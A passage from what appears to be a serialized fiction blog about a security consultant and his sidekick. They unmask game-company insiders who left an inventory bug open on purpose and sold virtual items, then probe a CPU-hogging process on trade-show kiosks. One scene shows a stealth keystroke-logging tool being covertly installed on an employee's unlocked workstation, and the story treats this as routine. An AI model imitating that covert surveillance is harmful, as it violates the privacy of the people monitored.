“That was Barbie. We had doubts whether she was actually filing her own bug reports. When it came down to it, she wasn’t qualified for the job. I believe that a counseling form in her file reflects that.” Steven interjected.

“Correct. The bugs were actually found by Chuck and given to Barbie to file. Careful examination of CVS check-in records showed that Chuck had actually fixed the bug two days before Barbie reported the bug, withdrew the fixed code, and then checked it back in after Barbie reported the bug.” I said.

“Why would Chuck do that? He’s one of our best programmers. He took over a lot of programming responsibility when Duke was terminated.” Ronald asked. “Chuck is a good guy.”

“That is the one part of the investigation that took me the longest to figure out, and it’s fit for a soap opera script.” I replied. “Chuck and Barbie were doing a lot more than sharing code.”

I proceeded to the next slide in my presentation.

“Oh man.” Steven said as he stared at the e-mail on the screen.

“But first, let me describe the events from last evening.

I took Steven and Ronald back to the previous evening after my meeting with Steven:

(fade out to the MMM server room)

“It’s freaking cold in here, man.” Scrap muttered as sat down on the floor of the server room.

“Have some coffee.” I said, handing Scrap a paper cup of coffee commandeered from the MMM coffee machine.

“Are you really sure about all of this?” Scrap asked, glancing at the traffic scrolling across the scraptop.

“We’re going to find out.” I replied.

DING

A console beep erupted from the scraptop as reverse-highlighted text appeared in a console window.

“Woah.” Scrap said quietly.

“WHAT!” I asked impatiently. I placed my hands on both sides of the scraptop and turned it to face me.

“That’s an interesting piece of SMTP traffic you have there, boss.” Scrap said with a grin.

I scrolled down through the headers of the captured traffic until I could read the entire message.

** From: chuckie@chuckiesplace.com To: trotster@hotmail.com Subject: hey

Steve is on the phone with Ronald. There’s a meeting tomorrow morning. I have tried to tell you that this wasn’t worth it, but you wouldn’t listen. I should have never have let you talk me into this because it was stupid to begin with. The holes are being closed in tonight’s maintenance window. You should have listened to me about a lot of things. Love, C **

I finished my story to find Ronald and Steven mesmerized.

And they hadn’t even heard the entire story …

Source: archived original

Part XX · Aug 30, 2005

Conclusion - Part II

There was a long, uneasy silence in the room. The only distinguishable noise in the room was the fan of the projector, diligently doing it’s cooling duties.

The recent revelations about Chuck and Barbie were a bit overwhelming to Ronald and Steven, who sat perfectly still in their chairs. Neither of them was playing with their expensive gold-plated ball-point pens anymore. I moved on to my next slide.

“As I said earlier, the relationship between Chuck and Barbie took quite a bit of time to research. The motives of both individuals to participate in this activity weren’t clear at first, until more advanced investigative measures were implemented.” I said, pointing my laser pointer at some log annotations on the slide.

“Chief, um, what exactly are we looking at on the slide?” Ronald asked nervously.

“This is a log file from a customized monitoring application that was installed on Barbie’s reception workstation. I became suspicious of Barbie after interviewing several staff members that worked alongside her in the quality assurance department.” I replied. “If you don’t mind, I’d like my associate to give you the details regarding this.”

“Of course.” Steven said as he watched Scrap approach the front of the table.

(Fade out to Ken’s desk, with Scrap standing next to him. Ken is wandering around Huge Kingdom with his debug character.)

“So, you say there are some female types that play this game, huh?” Scrap asked.

“Yeah, but not many. And I swear that the people that sign up and say they are female are probably male. People are weird.” Ken shot back as his character approached a pair of female dwarves wandering around a meadow.

“Nice attire!” Scrap blurted out.

BEEP

“What was that?” Ken asked.

“Chief wants something.” Scrap replied as he looked at his phone.

From: Chief Message: Barbie is up next. Put ears on her machine. Message back when done.

“Uh, I’ll be right back.” Scrap said as he hastily grabbed his scraptop bag and headed toward reception.

Barbie’s workstation was a beige box workstation running a Windows operating system. Her workstation wasn’t locked.

“Sweet. No lock-picking necessary.” Scrap said to himself as he removed a CD from his scrapsack. He inserted the CD and brought up a command prompt from the start/run menu.

d:\tools\monitoring\windows\2000\ears.exe /s /n

The CD drive began to spin, and a message box appeared on the screen.

**Big ears are listening. Logging: Stealth Reporting: None **

The CD ejected automatically, and Scrap returned the CD to his scrapsack.

“Like taking dollars from a drunk stripper.” Scrap joked as he exited the area and sent a quick message.

To: Chief Message: Big ears are listening. Out of area.

(Fade back to conference room, Scrap is explaining the log files on the slide.)

“The software monitors all activity on the workstation and writes a hidden log file to a directory twenty layers deep. The log file is encrypted with a key that only I and the Chief know. The log file is removed from the workstation, decrypted, and run through a parsing application. The parsing application generates a lot of output. We have sifted through the output and displayed actions of interest on this slide.” Scrap said in a most eloquent manner as he changed to slide with a more readable output displayed.

Ronald and Steven’s eyes were surveying the contents of the slide, their eyes dodging from side to side like they were watching a topless tennis match.

“Barbie was SELLING our virtual assets online?” Steven said in disbelief.

“And making a killing.” I replied.

Last installment up shortly!

Source: archived original

Part XXI · Sep 5, 2005

Conclusion - Part III (End)

The slide on the screen appeared to disturb Steven and Ronald to the point that they were both getting a bit unnerved.

“What we have here is a black market for Huge Kingdom items that began with several key MMM employees.” I explained. “We’re going to talk about the specific actions in a later slide. I’d like to stick to our timeline and show you the series of events that led to this. Firstly, a key vulnerability in the Huge Kingdom inventory was discovered in the quality assurance process. The vulnerability was discovered by Chuck, who then allowed Barbie to file it as a bug. At this time, Chuck and Barbie had a semi-romantic relationship. According to employee interviews, Barbie’s skills were noticeably inadequate for her position. Chuck was privy to this opinion and made every attempt to help Barbie appear like a functional part of the team - including providing her with bugs to file and the necessary background material to explain the bugs.” I paused briefly to advance my slides. Steven was holding his head in his hands.

“Secondly, Chuck never officially added the bug fix to the production builds of Huge Kingdom.” I said.

“He added the fix to the CVS, however the fix wasn’t complete.” Scrap interjected. “If you look at this slide carefully, you’ll notice that there is code to clean the requests to the server-side inventory handler. However, the code is intentionally broken. The version of the code that would have fixed this is 1.0.4. This code was copied into a 1.0.5 version, but a key sequence of code was removed which actually cleaned the requests.”

“Exactly.” I added. “Chuck did this with the intention of providing Barbie with more opportunities to report critical bugs. What appeared at one time to be a ‘medium’ level bug fix would later be found by Barbie to be a ‘high’ level bug fix.”

“But how the hell did he do this under the nose of Duke when he was here? Duke would have been employed at the time this happened.” Steven asked.

“Duke spent his last weeks at MMM working on core engine components and fixes that never made it into the game. With Duke distracted and upset by management not wanting to implement a lot of his suggestions, Chuck was doing all source and build management.” I responded. “The change control function failed miserably. Management oversight was almost non-existent at this point.”

Ronald glanced frequently at Steven, watching his reactions to my report. It appeared that Ronald was not a happy CEO.

I moved on to the next slide.

“Looking at our timeline, Barbie has been moved to an administrative function at the request of Mr. Slinkpips. I thought this move was strange, and asked several other members of the staff about it. Are either of you aware that Mr. Slinkpips regularly attends after-hours happy hours with staff members? Two employees revealed in their interviews that Mr. Slinkpips has been known to sing Karaoke with Barbie and a few other staffers. You may have a possible conflict of interest in your human resources department.” I said.

“Oh, lovely.” Ronald moaned.

“This next slide goes into a bit more detail about the slide we saw earlier. This shows specific activities on Barbie’s workstation that were captured by my associate. You’ll notice some key items here:

Barbie spent a lot of time playing the company product, which I understand is allowed by company policy. You’ll notice, however, that several in-game chat conversations were captured. The software we installed was only able to catch Barbie’s part of the conversation through her keystrokes. These conversations are the same conversations that Ken had been recording for us as he followed our mischievous minotaur around Huge Kingdom - otherwise known as Trotsky.
You’ll notice that several of the conversations are between Barbie and other characters. From her side of the conversation, you can see that she is trying to arrange the sale of Huge Kingdom items.
On the following slide, you’ll see captured eBay traffic that shows her account name ‘hugekingdomwares’, the posting of Huge Kingdom items for sale, and seller to buyer communications.
Towards the bottom of the same slide, you’ll see captured webmail traffic from hotmail.com. Barbie has logged in as user ’trotsky’ to read emails from Paypal indicating that payment has been received for several items. You’ll also see emails where Barbie has used the same account and funds to purchase items on Ebay.”

Ronald interrupted me.

“Chief, I have to thank you for a very complete investigation of this matter. To be quite honest, I’ve heard enough of this matter. Steven is going to perform a little house cleaning for me. If it’s not too much to ask, I’d like you and your associate to stay and help us plug these holes in our product, staff and procedures.”

I glanced at Scrap, who returned a nod.

“We’d be happy to assist, Ronald.” I said as I shook Ronald’s hand.

Ronald had a brief heated discussion with Steven and left the room.

“If the information on your slide is accurate, they were using embedded commands to manipulate the inventory parser on the server. I’d like to see this in action.” Steven demanded.

“Allow me.” Scrap said as he removed a laptop from his bag.

The demonstration was wildly successful. Steven was completely aghast.

“So Barbie decided to take advantage of Chuck and her knowledge of this bug to make some cash on the side? It just seems so risky.” Steven said as he stared at Scrap’s laptop.

“There aren’t too many more dangerous things in life than a woman scorned.” I mumbled.

“Boy can I vouch for that.” Scrap said in agreement.

Barbie and Chuck were interviewed by Steven and an attorney and terminated that same day. Ronald met with Slinkpips shortly after our meeting and severely reprimanded him. Slinkpips somehow retained his position in the human resources department.

Scrap demonstrated the bug to the last remaining programmers and worked with the development team to squash the bug.

After my presentation to MMM’s legal department, they were very eager to implement safeguards immediately. I spent my last few days on this engagement writing a security plan and policies for MMM, including an entire software development life cycle and change management program.

=*=

The plane ride home couldn’t have come soon enough. Scrap and I were mentally exhausted and were planning some rest and relaxation time.

“That was the most bizarre engagement I’ve ever seen.” I said as I sampled the free pretzels and questionable-quality coffee provided by the flight attendant.

“You got that right, man. The whole thing was a bummer all the way around.” Scrap said in between swigs of cola.

“What do you mean?” I asked. “You looked like you were in your element there towards the end.”

“Maybe so.” Scrap said. “But I would have really liked a date or two with Barbie. Wowzers.”

“You are unreal.” I said as I tossed a pretzel at Scrap.

Source: archived original

16. Case of the Audacious Attacker

Fri, 09 Sep 2005 00:00:00 +0000

Part I · Sep 9, 2005

“This is your idea of site seeing?” I asked Scrap sarcastically.

Scrap and I were walking the floor at a large computer exposition in Las Vegas.

We had scampered off to Las Vegas to do some long overdue visiting with friends. Scrap wanted to take a detour to the strip and get an eye full of the latest technology wonders.“Absolutely, man! Every nifty vendor is here! And check out the booth babes!” Scrap responded with youthful enthusiasm.

“I should have known.” I moaned. There’s always a catch with Scrap.

Several isles into the show floor we found a familiar face, Reese Foldingfork. Reese was a product manager at Southwestern Silverware Technologies, a web-based inventory management company. Reese had commissioned me a few years ago to help her organize their organization’s information security function.

“Hey stranger!” I yelled a few paces back from SST’s 10x20 piece of the exposition floorspace.

“Chief! How the heck are you? It’s been what, three years? What brings you to the show?” Reese asked with a fling of her badly-dyed brown hair.

“Oh, you know me. I can’t resist wandering aimlessly through a room filled with potential clients.” I joked. I was half serious.

“How’s business? What are you displaying this year?” I asked as I approached several computer kiosks that had just booted into a Windows 2000 GUI.

Reese was beaming and took a deep breath. “Well, business is fantastic, but competitive. Shortly after we entered this market, the big boys followed us with a vengeance. However, we were first to market with our small-business inventory management system and we established a large base of customers very quickly. I guess you could say we’re holding our own.”

“Could we get a demonstration? I’d love to see how the product has changed since I saw it last.” I begged.

Reese approached a kiosk and brought up an internet explorer window. While I was waiting on Reese to type in what seemed to be the world’s longest URL, I looked around for Scrap. Now where did he go?

“This is the login screen to our software. It’s a thin client interface so our customers can login to their application from anywhere in the world.” Reese explained as she entered a username and a password.

I was intrigued. SST had moved from a thick client application on Windows to a web-based solution in a pretty short amount of time, considering the small amount of staff that SST still employed.

Reese presented me with the main menu of the application, and clicked on the “My Inventory” option. Internet explorer sprung into action and started to draw an impressive-looking interface in the browser window. However, the interface never finished rendering.

“Aw, what now?” Reese whined as she attempted to hit the reload button, restart internet explorer, and wave a rubber chicken over the top of the kiosk display.

“Reese, I had to make a couple of adjustments on the switch and the firewall. Can you test connectivity?” asked a young man wearing an SST polo shirt as he emerged from a small room at the back of the SST display.

Reese was frustrated. She had no connectivity at all.

“Stevie, I had connectivity a few minutes ago and now I have zilch. Why are we making changes to our internet connection in the middle of a demonstration to a customer?” Reese snapped back.

Apparently I was the customer, or perhaps a good excuse to yell at Stevie today.

“I was only working on the connection for five minutes or so, it should recover. I’ll try it on another kiosk.” Stevie said as he sauntered over to the next kiosk.

“Yo yo! I got us passes to this bar tonight. The guy over at the Microsoft booth said we ought to meet up over there. Cool!” Scrap said as he handed me two paper passes.

“Scrap, this isn’t a bar. It’s a strip club.” I announced with a laugh.

“YES! YES! We are so going!” Scrap said as he snatched the passes back from me.

“Why don’t you make yourself useful and help Reese out with her internet connectivity issue. I’m going to talk to this Stevie person.” I demanded as I gave Scrap a slight shove.

I approached a nervous Stevie and shoulder-surfed his activities on the second kiosk.

“What’s up?” I asked innocently.

“I don’t understand. I had to manually change the port configuration on our switch because the network cards in these kiosks won’t auto-negotiate properly. Then I made some changes to our firewall config because I forgot to allow for https/443 traffic outbound, and now this!” Stevie said quietly.

“CHIEF! CHIEF!” Reese yelled.

I backtracked to the first kiosk to find Scrap at the keyboard and a puzzled look on his face.

“You look like you just found out that your free passes were bogus or something. Something wrong?” I queried.

Scrap had one eyebrow raised, almost resembling Leonard Nimoy in a statuesque fashion.

I moved Scrap out of the way and eyeballed the Windows performance meter on the screen. It was pegged. A quick glance at application usage showed a process called “111” eating all available CPU resources.

“Sorry Scrap.” I said with a glance at Reese. “Looks like you won’t get to use those passes tonight.”

“Can you help us figure this out?” Reese begged.

I grinned.

Source: archived original

Part II · Sep 15, 2005

“I can’t believe this!” Reese lamented over and over again. “This is a huge show for us, and now my demo kiosks have been reduced to useless piles of crap.”

I turned my head to give Reese a reassuring look. “Now, Reese, that’s not a very nice way to talk about Windows 2000.”

Reese didn’t get the joke.My attention was called back to Scrap, who was playing in the task manager application on one of the kiosks.

“Wow, man. I kill the process and it goes away. After a reboot, it comes back! It’s like my psycho ex-girlfriend!”

I pondered which ex-girlfriend he was talking about.

“Looks like the kiosks have an uninvited visitor. We have to get Reese up and running quickly before this becomes embarrassing for her. Run back to the car and get two of our presentation laptops. Those things are locked down pretty tight. Meet me back here.” I barked like a drill sergeant.

“Got it.” Scrap replied shortly before disappearing from sight.

I proceeded to unplug the network cables from both kiosks and went over the recovery plan in my head. The kiosks were simple presentation displays that looked like waist-high pillars. We could easily remove the LCD displays and the tiny workstations from the pillars, unplug all the necessary cables, and set the laptops on top of the pillars. Our presentation laptops were capable of dual-booting into Windows 2000 Workstation, and we had a least-privilege user already set up.

Scrap returned in record time, the laptop carrier following close behind with it’s one squeaky wheel.

After a quick bit of triage, Reese’s display was back in action.

“That was like, fun or something.” Scrap moaned as he sat down on the lid of the industrial-strength laptop carrier.

“WAS fun? Dude, we have an impromptu investigation to begin. Bring the carrier around to the back of the display. Let’s take a look at these misbehaving computers.” I said as I picked up both machines and stumbled around to the rear of the booth.

“Aw, man. I just knew those free passes were too good to be true.” Scrap moaned as he lugged the carrier behind me.

We took a few minutes to set up a makeshift lab. Lucky for us, Reese had worked with her booth designers to create a private consultation area in the back of the booth for current and potential customers. There were a couple of chairs and a small table available. However, there was no power to be seen.

“Tell me you packed the extension cord and the power strip in the carrier.” I said to Scrap with anticipation.

“Uhhhh.” Scrap began as he opened the lid to the carrier. “Uhhh, of course! I’ll go find some power to steal, um, borrow.”

I carefully sat both small workstations next to each other on the small table and placed the 17" LCD panels on top of them. There was just enough room for two keyboards and mice.

“Why does this remind me of Scrap’s apartment?” I said out loud with a smirk.

“What about my apartment?” Scrap inquired with a smile. “I scored us some power from the booth behind us. Dan was more than happy to help.”

“Dan?”

Scrap smiled. “I begged, I pleaded, and then I gave him my passes.”

Scrap is a resourceful type.

I powered on both workstations and made sure that the hardware was functioning properly. As sure as sugar, both machines crawled to a halt as soon as the Windows startup process finished. I killed the process on one machine to permit some looking around.

“First thing first, what’s the one obvious thing you notice about the desktop on this thing?” I asked Scrap as I pointed to the now 111-less workstation. “Hmmm. You mean as compared to a best practices configuration for a demo machine? Well that’s easy. That desktop theme is butt-ugly!” Scrap joked.

“Yeah, that’s true. But what’s not running?” I inquired.

“Oh, duh! There’s no anti-virus application on this thing.” Scrap said as he cruised through the applications. “Heck, there’s no anti-malware software either. And wait a second, this thing is a default install of Windows 2000 Workstation! There’s not even a service pack installed!” Scrap squeaked.

A few seconds after Scrap’s revelation, Stevie appeared behind us.

“What’s up guys? Are the machines fried? I have the CD if we need to do a reload.”

I was lost in deep thought and not paying attention to a word Stevie said. I reached into my laptop bag and pulled out my Apple Powerbook.

“Stevie, can you grab that ten-foot ethernet cable from that carrier over there and give me some IP connectivity?” I asked as I cracked open the Powerbook.

“Sure. We have a couple of unused IP addresses that the convention people issued us.” Stevie replied.

With a quick motion, Stevie whipped out a printout from his pocket and pointed to the last IP address listed on the page.

“Use this information right here.”

I stared at the paper. It appeared that the booth’s firewall had one of the reserved IP addresses (which was a 10.x.x.x RFC-1918 address) and Stevie was using 192.168.x.x as his internally-routable IP addresses for the kiosks.

I brought up my System Preferences panel and quickly made the changes.

“Ok Chief, you’re plugged in outside of our firewall!” came a muffled cry from the small networking closet in the booth.

I took a quick second to make sure that my built-in Mac OSX firewall was turned on, and then I plugged the cable into the ethernet port of the Powerbook.

A quick ping to the gateway IP told me that I had connectivity.

“Oh man, are you about to make a bunch of noise?” Scrap said with an evil grin.

“Nope, I just want to see who our neighbors are.” I replied.

I brought up a console prompt and issued a very polite nmap command to scan our neighbors in our subnet:

chimptop: chief$ nmap -sP 10.x.x.x/24

Two hundred hosts were found. Hmmmm.

“I wonder what kind of equipment we have here?” I asked myself.

chimptop: chief$ sudo su - Password:********** chimptop:~ root# nmap -sP 10.x.x.x/24

Talk about a mish-mash of hardware. Every vendor imaginable was listed, however a lot of them were PC vendors. It would appear that not everyone at the show was running a firewall.

Entries such as these:

_Host 10.x.x.x appears to be up. MAC Address: XX:XX:XX:XX:XX:XX (Compaq Computer) _

were quite interesting. I took some notes in textedit, and then turned my attention back to Scrap who was busily examining the contents of the workstation’s registry.

“Hey Chief.” Scrap said as he blindly smacked my arm.

“Ow! What?” I yelled back.

“You aren’t going to believe what I just found here.” Scrap exclaimed.

“Try me.”

Source: archived original

Part III · Sep 20, 2005

Scrap stared at the LCD screen. His left hand extended up to the top of his head to scratch the crown of his skull with one fluid, chimp-like motion.

“I was looking at the registry of this box, and look what I found here!” Scrap said as he pointed to the active registry editor window.Scrap was pointing to a specific registry entry.

** HKLM\Software\Microsoft\Windows\CurrentVersion\Run**

Inside this entry was a run path to an executable file:

111.exe

“Well, that’s kind of obvious.” I remarked. “Have you found other entries?”

Scrap raised his eyebrows as he glanced towards me.

“Oh, but that’s not the interesting piece here. There are two ‘111.exe’ processes running!”

I looked at the task manager that Scrap had running in the background. Sure enough, there were two entries. One was consuming all available CPU cycles.

The other looked dormant.

“Hey Scrap, pkill that CPU-hog process.” I suggested.

Scrap selected the process and killed it.

“Uh, ok. Now what?” Scrap asked.

“Let’s wait a minute.” I replied. I had a hunch.

Before either of us could think about sending the other for coffee, a new 111.exe process appeared and started consuming CPU cycles again.

“What the … hey, how’d you know that was going to happen?” Scrap asked with another scratch of his head.

“The second process is apparently some kind of ‘watcher’. It makes sure that the 111.exe process is always running. We missed this earlier.” I said. “We need to establish how this software was installed and figure out what it’s doing with all those cycles.”

“Got it.” Scrap responded. “How about we plug this baby into a small hub and start sniffing?”

Instinct was starting to kick in with Scrap. This is always something good to see with someone who views you as a mentor.

“Do it. I’m going to knock on the front door of this box with a vulnerability scanner. I’d like to know where the holes in the dike are.”

Scrap grabbed a four port hub from the laptop carrier. The suspect kiosk box was plugged into one port, and his laptop into another.

“Ethereal?” I asked as I saw Scrap type away on the scraptop.

“But of course.” Scrap said with a grin.

I grabbed my powerbook and reconfigured the ethernet interface for the private network that Stevie had been using for the kiosks. I fired up an X11 session and an xterm.

“Nessus?” Scrap asked in the same voice I used when asking about ethereal.

“Duh.” I jokingly replied.

_ chimptop:~ chief$ sudo su - Password: ********** chimptop:~ root# nessusd & [1] 5147 chimptop:~ root# exit logout chimptop:~ chief$ nessus & _

Within a few seconds, the nessus setup window appeared. After logging in to nessus, I selected the kiosk box as my target.

“Hold off on ethereal while I scan this baby.” I asked Scrap. “Fire in the hole!”

With a click of the “start the scan” button, nessus sprang to life and initiated a port scan.

At this point, Scrap and I decided to wander over to the coffee bar that we passed on our way into the show.

After ordering two large coffees, we sat at the only empty table available.

“Hey Scrap!” said an unknown individual as they walked toward our table. “Mind if I pull up a chair?”

Scrap lit up like the Zippo lighter that he kept in his pocket.

“Chief, this is Dan. This is the guy we’re stealing, um, borrowing power from.”

“Hi Dan. Pull up a chair.” I said as I shook Dan’s hand.

“Thanks for the tickets man. They’ll be put to good use, I assure you!” Dan said as he high-fived Scrap across the table.

As Scrap and Dan talked, I couldn’t help but notice the logo on Dan’s shirt.

TinFoil Software Solutions.

“I’ll leave you two to swap stripper stories. I’m going to head back to the booth.”

I sauntered back to the rear of the booth and cleared the screensaver on my powerbook. Nessus had finished it’s scan of the machine.

“What the hell?” I said as I glanced over the nessus report.

The kiosk machine answered to ping requests, but no other information was available.

Apparently the front door on this machine was locked.

Source: archived original

Part IV · Sep 22, 2005

“Later dude!” I heard Scrap yell as he entered the booth. Scrap downed the last of his coffee and tossed the cup into the garbage can ten feet away.

“Hey Chief, are you starting my ethereal sniff without me?“I had hunkered down onto the floor next to the table with the Scraptop on my lap.

“What was your first clue? Nessus returned a big goose egg on the vulnerability scan. It’s time to see what our magical 111.exe process is up to.” I replied as I initiated the ethereal session.

After a brief pause, the network traffic started scrolling down the ethereal GUI. I had disabled the auto-scroll function so that I could manually look through the traffic. Scrap took this opportunity to sit down next to me and glance at the activity.

“Woah! That’s a chatty box.” Scrap exclaimed as he moved in for a closer look.

“What the hell kind of traffic is that anyway?”

“It would appear to be ICMP packets.” I replied as I clicked on the conversation in question. “Look at that! It’s pinging addresses in the locally assigned subnet, and expanding the address space of the ping randomly. Wait, it’s not random. Now look at the pattern!”

Scrap grabbed the Scraptop from my hands and scrolled through the traffic.

“Dude, it’s looking for hosts. And since it’s the only active IP on the hub, it’s not finding much!” Scrap said with a laugh.

“So, it would appear that it’s exhibiting some kind of weird worm behavior. That could possibly explain how it got on both machines?” I pondered out loud.

We captured about fifteen minutes of traffic before Scrap killed the ethereal session. The log file was saved to disk.

“That was fun. Now what, man?” Scrap asked as he closed the lid to the scraptop.

“We still haven’t established how it got onto the machines in the first place. It could have been on the machines when they were set up. It could be on the image CD that Stevie has. It could have wandered in while Stevie was making firewall changes. We have a lot of questions, but no answers.” I said. “But I bet Stevie can help us in this endeavor.”

I sent Scrap off to find Stevie and to grab me another cup of coffee.

“Wow, there’s a lot of people at this show.” Reese said as she popped into the back of the booth. “Find anything yet?”

“Nothing conclusive. How are the laptops doing?” I asked.

“Wonderful! Just wonderful. No problems. I really appreciate you guys bailing me out like that. Dinner is, of course, on me tonight.” Reese said with a smile.

No sane investigator argues with a free dinner.

“Ladies and gentleman … Stevie Wonder!” Scrap joked as wandered back with Stevie in tow.

“Like I don’t hear that every day.” Stevie lamented. “Scrap says you need my help?”

I stood up and walked towards the storage room in the booth where the networking equipment was installed.

“Stevie, can you do a dump of your firewall logs? Everything you have since you set up the equipment here in the booth?” I asked with a grimace. I was hoping that a possibly clueless Stevie was maintaining some firewall logging.

“Uh, sure. I think. Maybe Scrap should help me.” Stevie suggested as he entered the small storage room.

“This ought to be good.” Scrap whispered as he eyeballed the firewall setup.

“Hey, it’s a linux appliance! Our luck may not be so bad today.” Scrap said with a grin as he looked through the log files. “Hello Dolly, there be logs here!”

Well what do you know? Maybe our luck was getting better today.

“Is secure copy installed? Let’s copy them off to your laptop and have a look.” I bellowed in a semi-authoritative tone. I loved looking through logs.

Several minutes and a hacked-together ssh configuration later, the logs were at rest on the scraptop.

I loaded the first file into the ‘vi’ editor and did a cursory examination of the logs from the moment that the firewall was booted at the show.

“What time where the kiosks turned on?” I asked Stevie.

“Um, about seven this morning. Yep, it was seven. That’s when I got here.”

A quick examination showed that Stevie was correct. Broadcast traffic from the Windows kiosks was denied at the firewall shortly after seven.

I’m the first person to complain about noisy Windows boxes, but in this particular case, that broadcast traffic was going to be a useful time gauge.

“If my theory is correct, the broadcast traffic should stop at a certain point, and then we should see a storm of ICMP traffic.” I said. “Cross your fingers.”

I scrolled further down into the logs, and sure enough the broadcast traffic stopped abruptly shortly before eight o’clock in the morning … almost an hour after the boxes were turned on.

“Eight o’clock. Eight o’clock. What the hell happened at eight o’clock?” I asked out loud.

“Eight o’clock? That’s when I did my first demo.” Reese replied.

Interesting.

Source: archived original

Part V · Sep 27, 2005

tap tap tap

I was scrolling down through the log file at an ever-increasing rate of speed. The log file entries seemed to indicate that the first kiosk box started it’s ping sweeps at eight o’clock. (log file entries shortened for easy reading) ** 080000:ICMP:REJECT:192.168.1.100 080001:ICMP:REJECT:192.168.1.100 080002:ICMP:REJECT:192.168.1.100 080003:ICMP:REJECT:192.168.1.100 **

“I wonder when our second kiosk box gets in on the action?” I pondered to myself. I kept tapping on the keyboard until I saw the second kiosk’s IP address appear.

“What the heck? This makes no sense.” I whined.

** 082700:ICMP:REJECT:192.168.1.101 082701:ICMP:REJECT:192.168.1.100 082702:ICMP:REJECT:192.168.1.101 082703:ICMP:REJECT:192.168.1.100 **

“Now wait one dollar-waving second.” Scrap spoke up as if he were reading my mind. “Twenty-seven minutes past the hour the second magically joins the ICMP chant? There’s no way it would take twenty-seven minutes for an exploitable box like that kiosk to fall down on it’s face. This really doesn’t make any sense.”

“For once Scrap, I agree with every single thing you just said. There aren’t a lot of clues here, not much more to go on. We’re going to need to set up a lab environment somewhere and test this.” I replied. “Where’s Stevie?”

Stevie was no where to be found.

“Probably draining the lizard or something. Hey, here’s that machine image CD he was carrying around.” Scrap said as he tossed the CD to me. “Why do I have a feeling we’re going to be dragging gear up to the room to test this theory of yours?”

“Once again grasshopper, you have read my mind.” I joked. “Let’s secure this stuff and head back to the room and do some testing.”

An hour later, Scrap and I were back in our hotel room. All of the typical hotel amenities were scraped off of the small desk, and in their place were two LCD monitors attached to two computers sitting on the floor.

“Time for exploratory PC surgery.” I said as I handed Scrap an IDE drive sealed in an anti-static bag.

“Uh, aren’t these from our forensic kit?” Scrap said as he scratched his chimp-like head.

“Hey, they are all we have right now. Let’s swap the IDE drives out and get some installation action going.” I replied while prying the case off of the first PC.

Minutes later we had two computers with two new hard drives installed. The machines were plugged into an ethernet hub.

Scrap popped Stevie’s CD into the first machine, closed the tray, and hit the power button on the computer. The fans sped to life and we received a prompt on the screen about booting off of the CD.

“Yes, please!” Scrap said as he tapped the space bar.

At first the installation looked like a standard Windows 2000 Workstation installation. However, it would appear that Stevie had crafted a clever installation script of some type that configured everything on the workstation except for the networking information. After two more reboots, we were in business.

“Got the Scraptop attached and ready to go?” I asked Scrap as the machines prepared to boot into the operating system.

“Roger that, man.” Scrap replied as he peered down onto another session of ethereal.

“Here they come!” I said with a laugh. Both machines completed their boots into the operating system.

One hour later, Scrap and I were staring at the bottoms of our coffee cups and bored to tears. There was no activity in ethereal aside from the normal Windows broadcast traffic.

yawn

I decided to do some poking and prodding. I fired up nessus on my powerbook again and scanned both workstations with the latest tests installed.

The results surprised us both.

“Am I reading that right? We have the usual Windows management ports open, and that’s it? And none of the exploit scripts worked?” Scrap asked with amazement.

“That’s what I’m seeing. I wonder if Stevie actually patched these things somehow, or maybe he has a stealthy host-based firewall running on here.” I replied as I started clicking around on one of the kiosks desktop.

I paused, and stared at my cursor. It couldn’t be this easy, could it?

“Dude, you have that weird freaked-out look on your face again. Did lunch not agree with your innards again?” Scrap asked compassionately.

I turned to look at Scrap and started to chuckle.

“Scrap, we’re looking at this all wrong.” I said with another laugh.

“Like, uh?” Scrap asked.

“Like … we’re looking at the wrong end of the toothpaste tube.” I replied.

We were going to have some interesting questions for Reese at dinner time.

Source: archived original

Part VI · Sep 29, 2005

“Dude! I smell prime rib!” Scrap exclaimed as he stepped out of the elevator and into the lobby of a posh steak restaurant.

“It would appear that we’re early. No sign of Reese. Let’s hit the bar.” I said as I whisked Scrap off to an empty bar table, complete with stools.“Like, HI! What can I get you two gentlemen?” the waitress asked.

Scrap was screaming through the drink menu at a break-neck speed. “I’ll have a large mug of your finest house ale!”

“Um, like we have ten house ales. Which one?” the waitress asked impatiently.

“The one that costs the most. He’s paying.” Scrap replied as he pointed in my direction.

“I’ll have the same.” I said as I threw the drink menu at Scrap.

Scrap lit up a fresh cigarette and and grabbed my arm.

“Chief, that waitress that was just here … was that …?”

“No Scrap, that wasn’t Barbie.” I said with a chuckle. Scrap never forgets a face, or something like that.

“Hi guys. I am so sorry I’m late!” said Reese as she pulled up a bar stool. “The restaurant is really busy, so even with our reservations we’re looking at another ten minutes or so. So what have you boys been up to today?”

I pulled out my PDA and scrolled through some notes.

“Reese, what do you know about Stevie?”

Reese was startled by my question, but quickly collected her thoughts.

“Stevie has been with us for a few years. He does a great job, but only does exactly what is listed in his job description. Thinking outside of the box is not his strong point.” Reese said. “Was he any help in tracking down all of that stuff with our kiosks?”

Scrap chuckled. “Uh, well sort of. I had to do the firewall log collection myself since he wasn’t aware of how to do it.”

Reese tapped her cell phone on the table. “Yeah, I know. He’s not perfect, but he does exactly what I ask. He’s very polite to everyone too, which is a stark contrast to our previous technical services person. Chief, did you meet Weed when you were on site doing our security evaluations?”

I was halfway through remembering back that far in time when the waitress appeared with our beers. Reese ordered something fruity with an umbrella and returned her attention to me.

“I do. Weed was the typical BOFH (Bastard Operator From Hell). He was very resistant to making critical security changes in the operations center. He fought me on nearly every change, right down to registry settings on Windows servers.” I said in between sips of beer.

I reviewed the notes on my PDA one more time before asking Reese another question.

“Reese, your new product is entirely web-based and appears to be an application service provider model where the client connects to your servers and works remotely. Correct?”

Reese took her fruity drink from the waitress and had a quick taste.

“Yes. We’re an ASP model. Why?”

“Well,” I began, “how many people connect to the demo server that you were using today?”

“Only the sales and product management staff. Well, okay that’s not completely true. Road show demos like the one I’m doing now use a completely separate server in our datacenter. I remember the operations manager saying something at a meeting that we were going to dedicate bandwidth and server resources to the road show systems so we didn’t have to worry about slow demonstrations.” Reese replied.

“I see. And how many other people are doing road shows right now?” I inquired with a few more sips of beer.

“You’re looking at her. We’re hiring a person to do this job right now. I’m just filling in.” Reese mumbled after flicking the umbrella out of her drink and into Scrap’s hair. That was impressive.

“I have to tell you, Reese, that we still have a lot of theories right now. Scrap and I would like to bring the kiosk boxes back into the booth tomorrow and run another test. Would you mind?” I asked with a smile.

“With all of this work, I imagine you’re going to want to be compensated.” Reese said with a quick glance around the table. “I’ll see what I can do on that. I appreciate you helping me out on this. Bring the kiosks by about seven o’clock. I should be there around that time.”

